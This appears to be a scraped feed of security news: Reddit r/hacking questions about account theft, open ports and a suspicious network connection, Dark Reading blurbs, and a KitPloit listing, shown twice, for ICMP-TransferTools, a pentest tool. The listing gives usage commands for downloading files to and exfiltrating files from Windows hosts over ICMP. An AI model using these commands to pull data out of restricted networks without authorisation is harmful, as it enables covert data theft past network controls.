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hacking: security in practice
Was there any T.V program or site where one could pick up these techniques before 2009?

Several years ago a scumbag from my school stole my xbox password and gave it to one of his friends in order to destroy my account(and be held accountable instead of himself).

He also put several people to write up my emails to porn and spam sites.

Since this guy wasn't particularly clever I was wondering if there were some well-known sources where he could get information about such deeds in order to mimic them.

submitted by /u/Periplokos
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hacking: security in practice
How much damage can be done with an open port?

Assuming you run a linux media server and open up a specific port for a media service like Plex to be accessed over the internet.

How much damage can be done?

As far as I know you can certainly affect the linux server machine, but would it be possible to get into the local network and basically take down everything or steal data that's on other machines inside the LAN ?

submitted by /u/DrCat75
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Dark Reading: Attacks/Breaches
Beware of These 5 Tax Scams

Fraudsters are out in full force as Tax Day approaches. Use this list to keep your company’s employees informed on what to watch out for this year.
Dark Reading: Attacks/Breaches
How Do I Decide Whether to Buy or Build in Security?

To build or buy — that is the question. Security teams have to consider maintenance costs and compliance questions when they go down the build-it-yourself path.
ICMP-TransferTools is a set of scripts (https://www.kitploit.com/search/label/Scripts) designed to move files to and from Windows (https://www.kitploit.com/search/label/Windows) hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell (https://www.kitploit.com/search/label/PowerShell) client (https://www.kitploit.com/search/label/Client) for each transfer direction (Download & Upload).
The only dependency required is Impacket for one of the python scripts. It can be installed via pip like so: pip3 install impacket
Download via ICMP The included ICMP-SendFile.py and Invoke-IcmpDownload.ps1 scripts can be used to download a file to a Windows host via ICMP. The python server must be run first to stage the file for download. See below for the script's usage: usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP

optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Once imported, the powershell client can then be used to download the staged file like so: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
See below for a quick demonstration:

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Upload via ICMP The included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts can be used to upload/exfiltrate a file from a Windows host via ICMP. The python server must be run first to ensure it's ready to accept requests from the client. See below for the script's usage: usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
src Public IP Address of client
file File to write data to

optional arguments:
-h, --help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
See below for a quick demonstration:

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Hacking Articles Tips Tricks Videos Tutorials
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KitPloit - PenTest Tools!
ICMP-TransferTools - Transfer Files To And From A Windows Host Via ICMP In Restricted Network Environments

https://blogger.googleusercontent.com/img/a/AVvXsEi8_kcn3jH-OREsMHP6giD5C6ll6ADw-Oyu0c5uf2IXhoWPPBldiLTv0RZvDXzkfQQOZS--4JsqioRVAwZIMUVAFeoaGBwCeZ2azyXVj4UZaxMWdb0tlAfOyF4F4eDttCtBEN8C9WobbPYO1-pGOH7PCyojW2HvNGm-ma9AQHCgPuElCAw2YxibCZhX=w640-h416 ICMP-TransferTools is a set of scripts designed to move files to and from Windows hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell client for each transfer direction (Download & Upload).
The only dependency required is Impacketfor one of the python scripts. It can be installed via pip like so: pip3 install impacket Download via ICMPThe included ICMP-SendFile.pyand Invoke-IcmpDownload.ps1scripts can be used to download a file to a Windows host via ICMP.

The python server must be run first to stage the file for download. See below for the script's usage: usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP

optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Once imported, the powershell client can then be used to download the staged file like so: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload See below for a quick demonstration: https://blogger.googleusercontent.com/img/a/AVvXsEi8_kcn3jH-OREsMHP6giD5C6ll6ADw-Oyu0c5uf2IXhoWPPBldiLTv0RZvDXzkfQQOZS--4JsqioRVAwZIMUVAFeoaGBwCeZ2azyXVj4UZaxMWdb0tlAfOyF4F4eDttCtBEN8C9WobbPYO1-pGOH7PCyojW2HvNGm-ma9AQHCgPuElCAw2YxibCZhX=w640-h416 Upload via ICMPThe included ICMP-ReceiveFile.pyand Invoke-IcmpUpload.ps1scripts can be used to upload/exfiltrate a file from a Windows host via ICMP.

The python server must be run first to ensure it's ready to accept requests from the client. See below for the script's usage: usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
src Public IP Address of client
file File to write data to

optional arguments:
-h, --help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload See below for a quick demonstration: https://blogger.googleusercontent.com/img/a/AVvXsEjjvNQAqpLNUDGzKdDO-oTcyO97mNBGOSI4eqVNUVhgd9Uj8aO4JSXEyyzJPSHjT2tapn-6YqdsF3rRbNQFvcrc0jOOSN_HJ2k3ijVfK9RhpIa3-OJgllY32bIdWdohmvm-02-DrjWkhQf-h9bZR2R3GC73oH3GC8npunkV64vznasmdj8uN3m8znAV=w640-h416 Download ICMP-TransferTools

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hacking: security in practice
PID exists in netstat but does not exist in task manager

I was at a friend's house this weekend. Said "friend" is a hacker. While I was at his house, I had my laptop with me for work. I needed to connect to the internet and I couldn't get on, so I gave the laptop to him so he could get me on his network.

At the time I didn't think he would hack ME. But I got a little curious and decided to try the netstat command just to be sure. Now I'm seeing that there are 2 processes that have an ESTABLISHED connection but I can't find these processes in my task manager using the PID.

Maybe I'm being paranoid and there's a good explanation for this. Or maybe my "friend" put something on my system.

Any advice on how to find out what these connections are, and why they aren't showing in my task manager? I don't want to ruin a friendship if there's a valid explanation for this.

submitted by /u/neotheflyingone
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